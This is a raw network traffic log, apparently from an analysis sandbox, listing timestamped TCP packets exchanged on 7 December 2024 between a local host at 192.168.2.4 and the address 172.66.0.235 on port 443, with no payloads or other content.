                                                                                                                                                                  Dec 7, 2024 15:43:21.124831915 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.124929905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.124938965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.124986887 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.131550074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.131566048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.131659031 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.131664038 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.131711006 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.138185024 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.138201952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.138262987 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.138267994 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.138293028 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.138308048 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.144109011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.144130945 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.144195080 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.144198895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.144243002 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.150690079 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.150706053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.150762081 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.150767088 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.150804043 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.157001972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.157041073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.157094955 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.157099962 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.157139063 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.163630962 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.163646936 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.163697958 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.163703918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.163753986 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.170536041 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.170552015 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.170614958 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.170619965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.170661926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.317169905 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.317186117 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.317312956 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.317322969 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.317367077 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.323977947 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.323992968 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.324059010 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.324064970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.324103117 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.330497980 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.330511093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.330562115 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.330565929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.330601931 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.336666107 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.336679935 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.336739063 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.336744070 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.336797953 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.342133045 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.342149019 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.342204094 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.342209101 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.342246056 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.347826004 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.347841978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.347909927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.347915888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.347950935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.354011059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.354024887 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.354083061 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.354088068 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.354125023 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.358418941 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.358452082 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.358483076 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.358486891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.358510017 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.360083103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.360138893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.360145092 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.360183001 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.362828970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.362890005 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.362895012 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.412465096 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.512625933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.512641907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.512741089 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.512748957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.512790918 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.518789053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.518826008 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.518883944 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.518888950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.518924952 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.524235010 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.524250031 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.524305105 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.524310112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.524344921 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.525836945 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.525888920 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.527626991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.527684927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.533051014 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.533063889 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.533116102 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.533122063 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.533170938 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.539591074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.539608002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.539676905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.539680958 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.539715052 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.544981003 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.545000076 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.545062065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.545068026 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.545109034 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.551045895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.551059961 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.551120996 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.551126957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.551145077 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.551166058 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.700861931 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.700901031 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.700947046 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.700953960 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.700978994 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.707070112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.707086086 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.707142115 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.707146883 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.711457968 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.711492062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.711519957 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.711525917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.711556911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.711565971 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.716834068 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.716849089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.716937065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.716945887 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.716983080 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.718616009 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.718672037 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.720292091 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.720345020 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.724777937 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.724811077 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.724839926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.724843979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.724853992 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.730453968 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.730468035 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.730540991 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.730546951 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.736618996 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.736630917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.736718893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.736726046 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.742022991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.742036104 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.742120028 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.742125034 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.743799925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.743875027 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.743880987 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.743928909 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.894474983 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.894489050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.894591093 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.894598961 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.894638062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.898786068 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.898833990 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.898868084 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.898874044 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.898902893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.904944897 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.904958963 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.905034065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.905040979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.911168098 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.911183119 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.911256075 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.911262989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.912072897 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.912142038 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.912147999 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.912197113 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.918203115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.918217897 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.918306112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.918312073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.918351889 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.924067974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.924081087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.924149990 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.924155951 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.924194098 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.930217981 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.930233002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.930308104 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.930315018 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.930351019 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.934643030 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.934684992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.934906960 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.934914112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.936275959 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.936337948 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.936342955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:21.936387062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.085491896 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.085532904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.085592985 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.085599899 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.085623980 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.091662884 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.091677904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.091761112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.091767073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.092845917 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.092931032 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.092936039 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.092978954 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.098799944 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.098813057 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.098889112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.098893881 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.098939896 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.103256941 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.103301048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.103334904 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.103341103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.103370905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.104945898 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.105005026 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.105010033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.105048895 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.110296965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.110312939 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.110403061 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.110408068 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.110446930 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.116830111 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.116846085 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.116914988 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.116919041 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.116951942 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.122339964 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.122354984 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.122415066 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.122421026 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.122461081 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.126646042 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.126681089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.126714945 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.126719952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.126753092 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.128525972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.128573895 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.128582954 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.128621101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.279212952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.279227972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.279333115 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.279340029 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.279385090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.293679953 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.293695927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.293771029 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.293777943 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.293816090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.294923067 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.294936895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.294991016 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.294996977 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.295030117 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.296998024 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.297045946 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.297066927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.297070980 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.297105074 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.297236919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.297281981 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:22.302993059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.303009033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:22.303098917 CET49730443192.168.2.4172.66.0.235
